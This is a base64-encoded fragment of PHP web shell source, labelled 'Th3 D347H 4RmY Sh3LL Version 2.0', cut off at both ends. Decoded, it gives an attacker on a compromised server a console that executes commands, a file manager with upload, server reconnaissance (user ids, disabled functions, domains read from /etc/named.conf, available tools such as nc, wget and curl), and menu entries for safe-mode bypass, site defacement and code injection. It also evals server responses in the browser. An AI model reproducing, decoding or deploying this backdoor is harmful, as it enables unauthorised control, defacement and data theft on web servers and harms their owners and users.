IHBhcmFtcyA9ICJhamF4PXRydWUiOwogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIAogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7CiAgICAgICAgICAgICAgICBpZiAocmVxKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUF1ZGlvd2lkZSIgPjwvaGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4OyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMyB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8L2Zvcm0+JzsKICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwogICAgJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbj1jb3VudCgkcGF0aCk7CiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdCeXBhc3Nlcic9PidTYWZlTW9kZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdJbXBvcnQgU2NyaXB0cyc9PidJbXBvcnRTY3JpcHRzJywnTmV0d29yayc9PidOZXR3b3JrJywnUmVhZGFibGUgRGlycyc9PidSZWFkYWJsZScsJ0RlZmFjZXInID0+ICdEZWZhY2UnLCdDb2RlIEluamVjdG9yJz0+J0luamVjdG9yJywnRG9tYWlucycgPT4gJ0RvbWFpbicpOwogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpCiAgICAgICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICREb21haW5TID0gIi92YXIvbmFtZWQiOwogICAgICAgICAgICAkRG9tYWlub25zZXJ2ZXIgPSBzY2FuZGlyKCREb21haW5TKTsKICAgICAgICAgICAgJGQwYyA9IGNvdW50KCREb21haW5vbnNlcnZlcik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsKICAgICAgICAgICAgJG91dCA9IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOwogICAgICAgICAgICAkZDBjID0gJG91dC4iICBEb21haW5zIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgICRkMGMgPSAiTm90aGluZyBIZXJlIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICAgICAgICAgZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSkgeyBpZih3aGljaCgkaXRlbSkpICR0ZW1wW109ICRpdGVtOyB9CiAgICAgICAgICAgICR1c2VmbCA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikgeyBpZih3aGljaCgkaXRlbTIpKSAkdGVtcFtdPSAkaXRlbTI7IH0KICAgICAgICAgICAgJGR3bmxkciA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsKICAgICAgICB9CiAgICB9IGVsc2UgeyAKICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgfSAKICAgIGVjaG8gJzxkaXYgY2xhc3M9InNtZXZrbG9nbyI+PHRhYmxlIGNsYXNzPSJpbmZvIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj48dHI+CiAgICAgICAgICA8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSI4MHB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+CiAgICAgICAgICA8dHI+PHRkPjxzcGFuPlVzZXI8L3NwYW4+PC90ZD48dGQ+OiAnLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOiA8L3NwYW4+ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+U2VydmVyPC9zcGFuPjwvdGQ+PHRkPjogJy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+VXNlZnVsPC9zcGFuPjwvdGQ+PHRkPjogJy4kdXNlZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRvd25sb2FkZXJzPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5EL2Z1bmN0aW9uczwvc3Bhbj48L3RkPjx0ZD46ICcuKCRkaXNhYmxlX2Z1bmN0aW9ucz8kZGlzYWJsZV9mdW5jdGlvbnM6J0FsbCBGdW5jdGlvbiBFbmFibGUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/J0RyaXZlczxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwYW4+PC90ZD48dGQ+OiAnLiRkcml2ZXMuJycuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4nLgogICAgICAgICAnPHRkIHdpZHRoPTQ+PG5vYnI+PHNwYW4+U3YgSVA8L3NwYW4+PGJyPjxzcGFuPllvdXIgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREPC9zcGFuPjxiciAvPjxzcGFuPkZyZWU8L3NwYW4+PGJyIC8+PHNwYW4+UEhQPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48c3Bhbj5Eb21haW5zPC9zcGFuPjwvbm9icj48L3RkPicuCiAgICAgICAgICc8dGQ+PG5vYnI+OiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4nLgogICAgICAgICAnPC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjU7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCA0MzAzMDM7cGFkZGluZzoycHg7Ij48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSIgY2xhc3M9Im1lbnUiPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjU7YmFja2dyb3VuZDpibGFjazsiPic7Cn0KCmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9Z3JlZW4+WyBMdWNreSEgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgU29ycnkhIE5vdCB3cml0YWJsZSBdPC9mb250PiI7CgplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXVzOjVweDsiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgRGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIEZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q3JlYXRlIERpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSxcJ21rZmlsZVwnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DcmVhdGUgRmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdDb25zb2xlXCcsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGUgQ01EOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgICAgICA8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSJGaWxlc01BbiI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9InVwbG9hZEZpbGUiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgIDwvdHI+CjwvdGFibGU+PC9kaXY+PC9kaXY+CjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MnB4IHNvbGlkICcuJFRoZW1lLic7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsgYm9yZGVyLXJhZGl1czoxMHB4O21hcmdpbjphdXRvOyB3aWR0aDo1MDA7Ij5UaDMgRDM0N0ggNFJtWSBTaDNMTCBWZXJzaW9uIDIuMDwvYT48L2Rpdj48L2Rpdj4KPC9kaXY+CjwvYm9keT48L2h0bWw+JzsKfQoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkgeyByZXR1cm4gZmFsc2U7IH0gfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CgoKZnVuY3Rpb24gdmlld1NpemUoJHMpIHsKICAgIGlmKCRzID49IDEwNzM3NDE4MjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKICAgIGVsc2VpZigkcyA+PSAxMDI0KQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CiAgICBlbHNlCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsKfQoKZnVuY3Rpb24gcGVybXMoJHApIHsKICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKICAgIGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CiAgICBlbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKICAgIGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKICAgIGVsc2UgJGkgPSAndSc7CiAgICAkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGk7Cn0KCmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IAogICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7CiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgewogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRmaWxlczsKICAgIH0KfQoKZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U2VydmVyIEluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGZ1bmN0aW9uIHNob3dTZW